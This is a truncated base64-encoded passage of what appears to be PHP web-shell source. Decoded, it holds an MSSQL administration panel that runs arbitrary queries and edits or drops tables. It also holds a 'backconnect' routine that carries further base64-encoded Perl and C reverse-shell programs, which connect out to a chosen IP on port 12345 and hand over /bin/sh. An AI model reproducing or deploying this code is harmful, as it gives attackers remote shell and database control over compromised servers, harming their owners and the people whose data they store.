ZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnJy4kdGhpc2JnLidcJzsiPicpOw0KDQoJCQkJCQkJcCgnPHRkPicuJHJvd1snbmFtZSddLic8L3RkPicpOw0KDQoJCQkJCQkJcCgnPHRkPicuJHJvd1sndHlwZSddLidbJy4kcm93Wyd4dHlwZSddLiddPC90ZD4nKTsNCg0KCQkJCQkJCXAoJzx0ZD4nLiRyb3dbJ2xlbmd0aCddLicmbmJzcDs8L3RkPicpOw0KDQoJCQkJCQkJcCgnPHRkPicuKCRyb3dbJ2lzbnVsbGFibGUnXSA/ICdZZXMnIDogJ05vJykuJyZuYnNwOzwvdGQ+Jyk7DQoNCgkJCQkJCQlwKCc8dGQ+Jy4oJHJvd1snY29sc3RhdCddID8gJ1BSSU1BUlknIDogJycpLicmbmJzcDs8L3RkPicpOw0KDQoJCQkJCQkJcCgnPHRkPicuJHJvd1sndGV4dCddLicmbmJzcDs8L3RkPicpOw0KDQoJCQkJCQkJcCgnPHRkPicuKCRyb3dbJ2F1dG92YWwnXSA/ICdBdXRvX2luY3JlbWVudCcgOiAnJykuJyZuYnNwOzwvdGQ+Jyk7DQoNCgkJCQkJCQlwKCc8L3RyPicpOw0KDQoJCQkJCQl9DQoNCgkJCQkJCXRiZm9vdCgpOw0KDQoJCQkJCX0gZWxzZWlmICgkZG9pbmcgPT0gJ2luc2VydCcgfHwgJGRvaW5nID09ICdlZGl0JykgewkJCQkJDQoNCgkJCQkJCSRyZXN1bHQgPSBtc3EoInNlbGVjdCBiLm5hbWUsYy5uYW1lIGFzIHR5cGUsYy54dHlwZSxiLmxlbmd0aCxiLmlzbnVsbGFibGUsYi5jb2xzdGF0LGNhc2Ugd2hlbiBiLmF1dG92YWwgaXMgbnVsbCB0aGVuIDAgZWxzZSAxIGVuZCxiLmNvbGlkLGEuaWQsZC50ZXh0IGZyb20gc3lzb2JqZWN0cyBhIGpvaW4gc3lzY29sdW1ucyBiIG9uIGEuaWQgPSBiLmlkIGpvaW4gc3lzdHlwZXMgYyBvbiBiLnh0eXBlID0gYy54dHlwZSBhbmQgYy51c2VydHlwZSA8PiAxOCBsZWZ0IGpvaW4gc3lzY29tbWVudHMgZCBvbiBkLmlkID0gYi5jZGVmYXVsdCB3aGVyZSBhLmlkID0gT0JKRUNUX0lEKCckdGFibGVuYW1lJykgb3JkZXIgYnkgYi5jb2xpZCIpOw0KDQoJCQkJCQkkcm93ZGIgPSBhcnJheSgpOw0KDQoJCQkJCQl3aGlsZSgkdGIgPSBAbXNzcWxfZmV0Y2hfYXNzb2MoJHJlc3VsdCkpIHsNCg0KCQkJCQkJCSRyb3dkYlskdGJbJ25hbWUnXV0gPSAkdGI7DQoNCgkJCQkJCQkkcm93ZGJbJHRiWyduYW1lJ11dWydLZXknXSA9ICR0YlsnY29sc3RhdCddOw0KDQoJCQkJCQkJJHJvd2RiWyR0YlsnbmFtZSddXVsnQXV0byddID0gJHRiWydhdXRvdmFsJ107DQoNCgkJCQkJCX0NCg0KCQkJCQkJJHJzID0gYXJyYXkoKTsNCg0KCQkJCQkJaWYgKCRkb2luZyA9PSAnaW5zZXJ0Jykgew0KDQoJCQkJCQkJcCgnPGgyPkluc2VydCBuZXcgbGluZSBpbiAnLiR0YWJsZW5hbWUuJyB0YWJsZSAmcmFxdW87PC9oMj4nKTsNCg0KCQkJCQkJfSBlbHNlIHsNCg0KCQkJCQkJCXAoJzxoMj5VcGRhdGUgcmVjb3JkIGluICcuJHRhYmxlbmFtZS4nIHRhYmxlICZyYXF1bzs8L2gyPicpOw0KDQoJCQkJCQkJJHdoZXJlID0gYmFzZTY0X2RlY29kZSgkYmFzZTY0KTsNCg0KDQoNCgkJCQkJCQkkcmVzdWx0ID0gbXNxKCJTRUxFQ1QgdG9wIDEgKiBGUk9NICR0YWJsZW5hbWUgV0hFUkUgJHdoZXJlIik7DQoNCgkJCQkJCQkkcnMgPSBtc3NxbF9mZXRjaF9hcnJheSgkcmVzdWx0KTsNCg0KCQkJCQkJfQ0KDQoJCQkJCQlwKCc8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iJy4kc2VsZi4nIj4nKTsNCg0KCQkJCQkJcCgkZGJmb3JtKTsNCg0KCQkJCQkJbWFrZWhpZGUoJ2FjdGlvbicsJ21zc3FsYWRtaW4nKTsNCg0KCQkJCQkJbWFrZWhpZGUoJ3RhYmxlbmFtZScsJHRhYmxlbmFtZSk7DQoNCgkJCQkJCXAoJzx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCI+Jyk7DQoNCg0KDQoJCQkJCQlmb3JlYWNoICgkcm93ZGIgYXMgJHJvdykgew0KDQoJCQkJCQkJaWYgKCRyc1skcm93WyduYW1lJ11dKSB7DQoNCgkJCQkJCQkJJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkcnNbJHJvd1snbmFtZSddXSk7DQoNCgkJCQkJCQl9IGVsc2Ugew0KDQoJCQkJCQkJCSR2YWx1ZSA9ICcnOw0KDQoJCQkJCQkJfQ0KDQoJCQkJCQkJJHRoaXNiZyA9IGJnKCk7DQoNCgkJCQkJCQlwKCc8dHIgY2xhc3M9IicuJHRoaXNiZy4nIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCcnLiR0aGlzYmcuJ1wnOyI+Jyk7DQoNCgkJCQkJCQlpZiAoJHJvd1snS2V5J10gfHwgJHJvd1snQXV0byddKSB7DQoNCgkJCQkJCQkJcCgnPHRkPjxiPicuJHJvd1snbmFtZSddLic8L2I+PGJyIC8+Jy4kcm93Wyd0eXBlJ10uJygnLiRyb3dbJ2xlbmd0aCddLicpJy4oJHJvd1snY29sc3RhdCddID8gJzxiciAvPjxiPlBSSU1BUlk8L2I+JyA6ICcnKS4oJHJvd1snYXV0b3ZhbCddID8gJyA8YnIgLz48Yj5BdXRvPC9iPicgOiAnJykuJzwvdGQ+PHRkPicuJHZhbHVlLicmbmJzcDs8L3RkPjwvdHI+Jyk7DQoNCgkJCQkJCQl9IGVsc2UgewkJCQkJCQkNCg0KCQkJCQkJCQlwKCc8dGQ+PGI+Jy4kcm93WyduYW1lJ10uJzwvYj48YnIgLz4nLiRyb3dbJ3R5cGUnXS4nKCcuJHJvd1snbGVuZ3RoJ10uJyknLigkcm93Wydjb2xzdGF0J10gPyAnPGJyIC8+PGI+UFJJTUFSWTwvYj4nIDogJycpLigkcm93WydhdXRvdmFsJ10gPyAnIDxiciAvPjxiPkF1dG88L2I+JyA6ICcnKS4nPC90ZD48dGQ+PHRleHRhcmVhIGNsYXNzPSJhcmVhIiBuYW1lPSJpbnNlcnRzcWxbJy4kcm93WyduYW1lJ10uJ10iIHN0eWxlPSJ3aWR0aDo1MDBweDtoZWlnaHQ6NjBweDtvdmVyZmxvdzphdXRvOyI+Jy4kdmFsdWUuJzwvdGV4dGFyZWE+PC90ZD48L3RyPicpOw0KDQoJCQkJCQkJfQ0KDQoJCQkJCQl9DQoNCgkJCQkJCWlmICgkZG9pbmcgPT0gJ2luc2VydCcpIHsNCg0KCQkJCQkJCXAoJzx0ciBjbGFzcz0iJy5iZygpLiciPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgY2xhc3M9ImJ0IiB0eXBlPSJzdWJtaXQiIG5hbWU9Imluc2VydCIgdmFsdWU9Ikluc2VydCIgLz48L3RkPjwvdHI+Jyk7DQoNCgkJCQkJCX0gZWxzZSB7DQoNCgkJCQkJCQlwKCc8dHIgY2xhc3M9IicuYmcoKS4nIj48dGQgY29sc3Bhbj0iMiI+PGlucHV0IGNsYXNzPSJidCIgdHlwZT0ic3VibWl0IiBuYW1lPSJ1cGRhdGUiIHZhbHVlPSJVcGRhdGUiIC8+PC90ZD48L3RyPicpOw0KDQoJCQkJCQkJbWFrZWhpZGUoJ2Jhc2U2NCcsICRiYXNlNjQpOw0KDQoJCQkJCQl9DQoNCgkJCQkJCXAoJzwvdGFibGU+PC9mb3JtPicpOw0KDQoJCQkJCX0gZWxzZSB7DQoNCgkJCQkJCSRxdWVyeXMgPSBAZXhwbG9kZSgnOycsJHNxbF9xdWVyeSk7DQoNCgkJCQkJCWZvcmVhY2goJHF1ZXJ5cyBhcyAkbnVtPT4kcXVlcnkpIHsNCg0KCQkJCQkJCWlmICgkcXVlcnkpIHsNCg0KCQkJCQkJCQlwKCI8cD48Yj5RdWVyeSN7JG51bX0gOiAiLmh0bWxzcGVjaWFsY2hhcnMoJHF1ZXJ5LEVOVF9RVU9URVMpLiI8L2I+PC9wPiIpOw0KDQoJCQkJCQkJCXN3aXRjaChtc3F5KCRxdWVyeSkpDQoNCgkJCQkJCQkJew0KDQoJCQkJCQkJCQljYXNlIDA6DQoNCgkJCQkJCQkJCQlwKCc8aDI+RXJyb3IgOiAnLm1zbXNnKCkuJzwvaDI+Jyk7DQoNCgkJCQkJCQkJCQlicmVhazsJDQoNCgkJCQkJCQkJCWNhc2UgMToNCg0KCQkJCQkJCQkJCWlmIChzdHJ0b2xvd2VyKHN1YnN0cigkcXVlcnksMCwxMykpID09ICdzZWxlY3QgKiBmcm9tJykgew0KDQoJCQkJCQkJCQkJCSRhbGxvd2VkaXQgPSAxOw0KDQoJCQkJCQkJCQkJfQ0KDQoJCQkJCQkJCQkJaWYgKCRnZXRudW1zcWwpIHsNCg0KCQkJCQkJCQkJCQkkdGF0b2wgPSBtc3NxbF9mZXRjaF9hcnJheShtc3EoIlNFTEVDVCBjb3VudCgqKSBGUk9NICR0YWJsZW5hbWUiKSk7DQoNCgkJCQkJCQkJCQkJJHRhdG9sID0gJHRhdG9sWzBdOw0KDQoJCQkJCQkJCQkJCSRtdWx0aXBhZ2UgPSBtdWx0aSgkdGF0b2wsICRwYWdlbnVtLCAkcGFnZSwgJHRhYmxlbmFtZSk7DQoNCgkJCQkJCQkJCQl9DQoNCgkJCQkJCQkJCQlpZiAoISR0YWJsZW5hbWUpIHsNCg0KCQkJCQkJCQkJCQkkc3FsX2xpbmUgPSBzdHJfcmVwbGFjZShhcnJheSgiXHIiLCAiXG4iLCAiXHQiKSwgYXJyYXkoJyAnLCAnICcsICcgJyksIHRyaW0oaHRtbHNwZWNpYWxjaGFycygkcXVlcnkpKSk7DQoNCgkJCQkJCQkJCQkJJHNxbF9saW5lID0gcHJlZ19yZXBsYWNlKCIvXC9cKlteKFwqXC8pXSpcKlwvL2kiLCAiICIsICRzcWxfbGluZSk7DQoNCgkJCQkJCQkJCQkJcHJlZ19tYXRjaF9hbGwoIi9mcm9tXHMrYHswLDF9KFtcd10rKWB7MCwxfVxzKy9pIiwkc3FsX2xpbmUsJG1hdGNoZXMpOw0KDQoJCQkJCQkJCQkJCSR0YWJsZW5hbWUgPSAkbWF0Y2hlc1sxXVswXTsNCg0KCQkJCQkJCQkJCX0NCg0KCQkJCQkJCQkJCXAoJG11bHRpcGFnZSk7DQoNCgkJCQkJCQkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiPicpOw0KDQoJCQkJCQkJCQkJcCgnPHRyIGNsYXNzPSJoZWFkIj4nKTsNCg0KCQkJCQkJCQkJCWlmICgkYWxsb3dlZGl0KSBwKCc8dGQ+QWN0aW9uPC90ZD4nKTsNCg0KDQoNCgkJCQkJCQkJCQkkcmVzdWx0ID0gbXNxKCJzZWxlY3QgYi5uYW1lLGMubmFtZSBhcyB0eXBlLGMueHR5cGUsYi5sZW5ndGgsYi5pc251bGxhYmxlLGIuY29sc3RhdCxjYXNlIHdoZW4gYi5hdXRvdmFsIGlzIG51bGwgdGhlbiAwIGVsc2UgMSBlbmQsYi5jb2xpZCxhLmlkLGQudGV4dCBmcm9tIHN5c29iamVjdHMgYSBqb2luIHN5c2NvbHVtbnMgYiBvbiBhLmlkID0gYi5pZCBqb2luIHN5c3R5cGVzIGMgb24gYi54dHlwZSA9IGMueHR5cGUgYW5kIGMudXNlcnR5cGUgPD4gMTggbGVmdCBqb2luIHN5c2NvbW1lbnRzIGQgb24gZC5pZCA9IGIuY2RlZmF1bHQgd2hlcmUgYS5pZCA9IE9CSkVDVF9JRCgnJHRhYmxlbmFtZScpIG9yZGVyIGJ5IGIuY29saWQiKTsNCg0KCQkJCQkJCQkJCSRyb3dkYiA9IGFycmF5KCk7DQoNCgkJCQkJCQkJCQkka2V5ZmllZCA9ICcnOyAvLyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjMTI5O38mIzE0NjI7JiMxMjk7fw0KDQoJCQkJCQkJCQkJd2hpbGUoJHRiID0gQG1zc3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7DQoNCgkJCQkJCQkJCQkJcCgnPHRkIG5vd3JhcD4nLiR0YlsnbmFtZSddLic8YnI+PHNwYW4+Jy4kdGJbJ3R5cGUnXS4nKCcuJHRiWydsZW5ndGgnXS4nKSAnLigkdGJbJ2NvbHN0YXQnXSA/ICc8Yj4gLSBQUklNQVJZPC9iPicgOiAnJykuKCR0YlsnYXV0b3ZhbCddID8gJzxiPiAtIEF1dG88L2I+JyA6ICcnKS4nPC9zcGFuPjwvdGQ+Jyk7DQoNCgkJCQkJCQkJCQkJJHJvd2RiWyR0YlsnbmFtZSddXVsnS2V5J10gPSAkdGJbJ2NvbHN0YXQnXTsNCg0KCQkJCQkJCQkJCQkkcm93ZGJbJHRiWyduYW1lJ11dWydBdXRvJ10gPSAkdGJbJ2F1dG92YWwnXTsNCg0KCQkJCQkJCQkJCQlpZiAoJHRiWydjb2xzdGF0J10pIHsNCg0KCQkJCQkJCQkJCQkJJGtleWZpZWQgPSAkdGJbJ25hbWUnXTsNCg0KCQkJCQkJCQkJCQl9DQoNCgkJCQkJCQkJCQl9DQoNCgkJCQkJCQkJCQlwKCc8L3RyPicpOw0KDQoJCQkJCQkJCQkJDQoNCgkJCQkJCQkJCQkvLyYjMTQ1NzsmIzEyOTt/JiMxMjk7fyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjMTI5O38mIzEyOTt/JiMxMjk7fw0KDQoJCQkJCQkJCQkJaWYgKHN0cnRvbG93ZXIoc3Vic3RyKCRxdWVyeSwwLDEzKSkgPT0gJ3NlbGVjdCAqIGZyb20nKSB7DQoNCgkJCQkJCQkJCQkJJHF1ZXJ5IC49ICIgb3JkZXIgYnkgJGtleWZpZWQgREVTQyI7DQoNCgkJCQkJCQkJCQl9DQoNCg0KDQoJCQkJCQkJCQkJJHJlc3VsdCA9IG1zcSgkcXVlcnkpOw0KDQoJCQkJCQkJCQkJJGluZGV4PTA7DQoNCgkJCQkJCQkJCQlpZigkcGFnZW51bT4wKSBtc3NxbF9kYXRhX3NlZWsoJHJlc3VsdCwkc3RhcnRfbGltaXQpOw0KDQoJCQkJCQkJCQkJd2hpbGUoJG1uID0gQG1zc3FsX2ZldGNoX2Fzc29jKCRyZXN1bHQpKXsNCg0KCQkJCQkJCQkJCQlpZigkaW5kZXg+JHBhZ2VudW0tMSkgYnJlYWs7DQoNCg0KDQoJCQkJCQkJCQkJCSR0aGlzYmcgPSBiZygpOw0KDQoJCQkJCQkJCQkJCXAoJzx0ciBjbGFzcz0iJy4kdGhpc2JnLiciIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycuJHRoaXNiZy4nXCc7Ij4nKTsNCg0KCQkJCQkJCQkJCQkkd2hlcmUgPSAkdG1wID0gJGIxID0gJyc7DQoNCgkJCQkJCQkJCQkJLy8mIzExMjE7JiM1NDU7JiMxMjk7fyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjMTQ2MjsmIzEyOTt/JiMxMjk7fyYjMTI5O38NCg0KCQkJCQkJCQkJCQlmb3JlYWNoKCRtbiBhcyAka2V5PT4kaW5zaWRlKXsNCg0KCQkJCQkJCQkJCQkJaWYgKCRpbnNpZGUpIHsNCg0KCQkJCQkJCQkJCQkJCS8vJiMxMjk7fyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjMTI5O38mIzEyOTt/JiMxMjk7f4q3JiMxMjExOyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjMTMxMzsmIzEyOTt/JiMxMjk7fyYjMTMzNDsmIzEyOTt/JiMxMjk7fyYjMTI5O38mIzEyNjk7JiMxMjk7fyYjMTI5O38mIzE0NjI7irImIzEyOTt/JiMxMjk7fyYjMTIwNTsmIzEyOTt/JiMxMjk7fyYjMTI5O38mIzg2NzsmIzE0NjU7JiMxMjk7fyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjMTI5O38mIzE0NjI7JiMxMjk7fyYjMTI5O38mIzEyOTt/JiM5Mzg7JiMxMjk7fyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjMTI5O38NCg0KCQkJCQkJCQkJCQkJCWlmICgkcm93ZGJbJGtleV1bJ0tleSddID09IDEgfHwgJHJvd2RiWyRrZXldWydBdXRvJ10gPT0gMSkgew0KDQoJCQkJCQkJCQkJCQkJCSR3aGVyZSA9ICRrZXkuIj0nIi5hZGRzbGFzaGVzKCRpbnNpZGUpLiInIjsNCg0KCQkJCQkJCQkJCQkJCQlicmVhazsNCg0KCQkJCQkJCQkJCQkJCX0NCg0KCQkJCQkJCQkJCQkJCSR3aGVyZSAuPSAkdG1wLiRrZXkuIj0nIi5hZGRzbGFzaGVzKCRpbnNpZGUpLiInIjsNCg0KCQkJCQkJCQkJCQkJCSR0bXAgPSAnIEFORCAnOw0KDQoJCQkJCQkJCQkJCQl9DQoNCgkJCQkJCQkJCQkJfQ0KDQoJCQkJCQkJCQkJCS8vJiMxMjk7fyYjMTI5O38mIzU0NTsmIzEyOTt/JiMxMjk7fyYjMTg4OyYjMTI5O38mIzEyOTt/DQoNCgkJCQkJCQkJCQkJZm9yZWFjaCgkbW4gYXMgJGtleT0+JGluc2lkZSl7DQoNCgkJCQkJCQkJCQkJCSRiMSAuPSAnPHRkIG5vd3JhcD4nLmh0bWxfY2xlYW4oJGluc2lkZSkuJyZuYnNwOzwvdGQ+JzsNCg0KCQkJCQkJCQkJCQl9DQoNCgkJCQkJCQkJCQkJJHdoZXJlID0gYmFzZTY0X2VuY29kZSgkd2hlcmUpOw0KDQoNCg0KCQkJCQkJCQkJCQlpZiAoJGFsbG93ZWRpdCkgcCgnPHRkIG5vd3JhcD48YSBocmVmPSJqYXZhc2NyaXB0OmVkaXRyZWNvcmQoXCdlZGl0XCcsIFwnJy4kd2hlcmUuJ1wnLCBcJycuJHRhYmxlbmFtZS4nXCcpOyI+RWRpdDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmVkaXRyZWNvcmQoXCdkZWxcJywgXCcnLiR3aGVyZS4nXCcsIFwnJy4kdGFibGVuYW1lLidcJyk7Ij5EZWw8L2E+PC90ZD4nKTsNCg0KDQoNCgkJCQkJCQkJCQkJcCgkYjEpOw0KDQoJCQkJCQkJCQkJCXAoJzwvdHI+Jyk7DQoNCgkJCQkJCQkJCQkJJGluZGV4Kys7DQoNCgkJCQkJCQkJCQkJdW5zZXQoJGIxKTsNCg0KCQkJCQkJCQkJCX0NCg0KCQkJCQkJCQkJCXRiZm9vdCgpOw0KDQoJCQkJCQkJCQkJcCgkbXVsdGlwYWdlKTsNCg0KCQkJCQkJCQkJCWJyZWFrOwkNCg0KCQkJCQkJCQkJY2FzZSAyOg0KDQoJCQkJCQkJCQkJJGFyID0gbXNzcWxfYWZmZWN0ZWRfcm93cygpOw0KDQoJCQkJCQkJCQkJcCgnPGgyPmFmZmVjdGVkIHJvd3MgOiA8Yj4nLiRhci4nPC9iPjwvaDI+Jyk7DQoNCgkJCQkJCQkJCQlicmVhazsNCg0KCQkJCQkJCQl9DQoNCgkJCQkJCQl9DQoNCgkJCQkJCX0NCg0KCQkJCQl9DQoNCgkJCQl9IGVsc2Ugew0KDQoJCQkJCSRxdWVyeSA9IG1zcSgic2VsZWN0IHN5c29iamVjdHMuaWQsc3lzb2JqZWN0cy5uYW1lLHN5c29iamVjdHMuY2F0ZWdvcnksc3lzdXNlcnMubmFtZSBhcyBvd25lcixzeXNvYmplY3RzLmNyZGF0ZSBmcm9tIHN5c29iamVjdHMgam9pbiBzeXN1c2VycyBvbiBzeXNvYmplY3RzLnVpZCA9IHN5c3VzZXJzLnVpZCB3aGVyZSBzeXNvYmplY3RzLnh0eXBlID0gJ1UnIG9yZGVyIGJ5IHN5c29iamVjdHMubmFtZSBhc2MiKTsNCg0KCQkJCQkkdGFibGVfbnVtID0gMDsNCg0KCQkJCQkkdGFibGVkYiA9IGFycmF5KCk7DQoNCgkJCQkJd2hpbGUoJHRhYmxlID0gbXNzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5KSkgew0KDQoJCQkJCQkkdGFibGVfbnVtKys7DQoNCgkJCQkJCSR0YWJsZWRiW10gPSAkdGFibGU7DQoNCgkJCQkJfQ0KDQoJCQkJCXVuc2V0KCR0YWJsZSk7DQoNCg0KDQoJCQkJCXAoJzx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+Jyk7DQoNCgkJCQkJcCgnPGZvcm0gYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0iUE9TVCI+Jyk7DQoNCgkJCQkJbWFrZWhpZGUoJ2FjdGlvbicsJ21zc3FsYWRtaW4nKTsNCg0KCQkJCQlwKCRkYmZvcm0pOw0KDQoJCQkJCXAoJzx0ciBjbGFzcz0iaGVhZCI+Jyk7DQoNCgkJCQkJcCgnPHRkPk5hbWU8L3RkPicpOw0KDQoJCQkJCXAoJzx0ZD5Pd25lcjwvdGQ+Jyk7DQoNCgkJCQkJcCgnPHRkPkNyZWF0ZV90aW1lPC90ZD4nKTsNCg0KCQkJCQlwKCc8dGQ+T3BlcmF0ZTwvdGQ+Jyk7DQoNCgkJCQkJcCgnPC90cj4nKTsNCg0KCQkJCQlmb3JlYWNoICgkdGFibGVkYiBhcyAka2V5ID0+ICR0YWJsZSkgew0KDQoJCQkJCQkkdGhpc2JnID0gYmcoKTsNCg0KCQkJCQkJcCgnPHRyIGNsYXNzPSInLiR0aGlzYmcuJyIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnJy4kdGhpc2JnLidcJzsiPicpOw0KDQoJCQkJCQlwKCc8dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydvd25lciddLicuJy4kdGFibGVbJ25hbWUnXS4nXCcpOyI+Jy4kdGFibGVbJ25hbWUnXS4nPC9hPjwvdGQ+Jyk7DQoNCgkJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnb3duZXInXS4nPC90ZD4nKTsNCg0KCQkJCQkJcCgnPHRkPicuJHRhYmxlWydjcmRhdGUnXS4nPC90ZD4nKTsNCg0KCQkJCQkJcCgnPHRkPjxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiRkYm5hbWUuJy4nLiR0YWJsZVsnbmFtZSddLidcJywgXCdpbnNlcnRcJyk7Ij5JbnNlcnQ8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJGRibmFtZS4nLicuJHRhYmxlWyduYW1lJ10uJ1wnLCBcJ3N0cnVjdHVyZVwnKTsiPlN0cnVjdHVyZTwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kZGJuYW1lLicuJy4kdGFibGVbJ25hbWUnXS4nXCcsIFwnZHJvcFwnKTsiPkRyb3A8L2E+PC90ZD4nKTsNCg0KCQkJCQkJcCgnPC90cj4nKTsNCg0KCQkJCQl9DQoNCgkJCQkJcCgnPHRyIGNsYXNzPScuYmcoKS4nPicpOw0KDQoJCQkJCXAoJzx0ZD5Ub3RhbCB0YWJsZXM6ICcuJHRhYmxlX251bS4nPC90ZD4nKTsNCg0KCQkJCQlwKCc8dGQgY29sc3Bhbj0iMyI+PC90ZD4nKTsNCg0KCQkJCQlwKCc8L3RyPicpOw0KDQoJCQkJCXAoIjwvdGFibGU+Iik7DQoNCgkJCQkJbXNmcigkcXVlcnkpOw0KDQoJCQkJfQ0KDQoJCQl9DQoNCgkJfQ0KDQoJfQ0KDQoJdGJmb290KCk7DQoNCglpZiAoJGFscmVhZHltc3NxbCkgew0KDQoJCUBtc3NxbF9jbG9zZSgpOw0KDQoJfQ0KDQp9Ly9lbmQgc3FsIGJhY2t1cA0KDQoNCg0KDQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAnYmFja2Nvbm5lY3QnKSB7DQoNCgkhJHlvdXJpcCAmJiAkeW91cmlwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107DQoNCgkhJHlvdXJwb3J0ICYmICR5b3VycG9ydCA9ICcxMjM0NSc7DQoNCgkkdXNlZGIgPSBhcnJheSgncGVybCc9PidwZXJsJywnYyc9PidjJyk7DQoNCg0KDQoJJGJhY2tfY29ubmVjdD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pHTnRaRDBnSW14NWJuZ2lPdzBLSkhONWMzUmxiVDBnSjJWamFHOGdJbUIxYm1GdFpTQXRZV0FpTzJWaiIuDQoNCgkJImFHOGdJbUJwWkdBaU95OWlhVzR2YzJnbk93MEtKREE5SkdOdFpEc05DaVIwWVhKblpYUTlKRUZTUjFaYk1GMDdEUW9rY0c5eWREMGtRVkpIVmxzeFhUc05DaVJwWVdSa2NqMXBibVYwWDJGMGIyNG9KSFIiLg0KDQoJCSJoY21kbGRDa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlkydGhaR1J5WDJsdUtDUndiM0owTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUIi4NCg0KCQkic05DaVJ3Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NCOGZDQmthV1VvSSIuDQoNCgkJImtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWkiLg0KDQoJCSJLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBOTFJWUWlLVHNOQ25ONWMzUmxiU2drYzNsemRHVnRLVHNOQ21Oc2IzTmxLRk5VUkVsIi4NCg0KCQkiT0tUc05DbU5zYjNObEtGTlVSRTlWVkNrN0RRcGpiRzl6WlNoVFZFUkZVbElwT3c9PSI7DQoNCgkkYmFja19jb25uZWN0X2M9IkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM2x6TDNOdlkydGxkQzVvUGcwS0kybHVZMngxWkdVZ1BHNWxkR2x1WlhRdmFXNHVhRDROQ21sdWRDIi4NCg0KCQkiQnRZV2x1S0dsdWRDQmhjbWRqTENCamFHRnlJQ3BoY21kMlcxMHBEUXA3RFFvZ2FXNTBJR1prT3cwS0lITjBjblZqZENCemIyTnJZV1JrY2w5cGJpQnphVzQ3RFFvZ1kyaGhjaUJ5YlhOYk1qRmRQU0p5YiIuDQoNCgkJIlNBdFppQWlPeUFOQ2lCa1lXVnRiMjRvTVN3d0tUc05DaUJ6YVc0dWMybHVYMlpoYldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nYzJsdUxuTnBibDl3YjNKMElEMGdhSFJ2Ym5Nb1lYUnZhU2hoY21kMld6SmQiLg0KDQoJCSJLU2s3RFFvZ2MybHVMbk5wYmw5aFpHUnlMbk5mWVdSa2NpQTlJR2x1WlhSZllXUmtjaWhoY21kMld6RmRLVHNnRFFvZ1lucGxjbThvWVhKbmRsc3hYU3h6ZEhKc1pXNG9ZWEpuZGxzeFhTa3JNU3R6ZEhKIi4NCg0KCQkic1pXNG9ZWEpuZGxzeVhTa3BPeUFOQ2lCbVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnU1ZCUVVrOVVUMTlVUTFBcElEc2dEUW9nYVdZZ0tDaGpiMjV1WldOMEtHWmtMQyIuDQoNCgkJIkFvYzNSeWRXTjBJSE52WTJ0aFpHUnlJQ29wSUNaemFXNHNJSE5wZW1WdlppaHpkSEoxWTNRZ2MyOWphMkZrWkhJcEtTazhNQ2tnZXcwS0lDQWdjR1Z5Y205eUtDSmJMVjBnWTI5dWJtVmpkQ2dwSWlrN0QiLg0KDQoJCSJRb2dJQ0JsZUdsMEtEQXBPdzBLS